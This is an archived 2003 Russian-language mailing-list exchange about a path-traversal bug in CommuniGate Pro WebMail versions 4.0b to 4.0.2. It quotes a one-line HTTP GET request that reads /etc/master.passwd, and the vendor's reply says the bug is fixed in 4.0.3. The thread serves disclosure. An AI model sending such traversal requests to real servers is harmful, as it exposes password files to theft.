Hello, on 08.01.2003 15:04, Maxim Polyakov at max@bresttelecom.by wrote:
> Народ, а слышали про багу на незачрутенном CGP версий 4.0b - 4.0.2
> Под фрюшей, например, попробуйте зайти телнетом на порт WebMail и
> ввести следующее:
> GET /DomainFiles/*//../../../../etc/master.passwd HTTP/1.0
> Стоит проверить и на других платформах.
> Инфа взята на http://online.securityfocus.com/archive/1
Пофиксено в 4.0.3
-- Best regards, Dmitry Akindinov -- Stalker LabsПолучено Wed Jan 08 12:16:57 2003
Этот архив был сгенерирован hypermail 2.1.8 : Tue 21 Feb 2006 - 03:14:18 MSK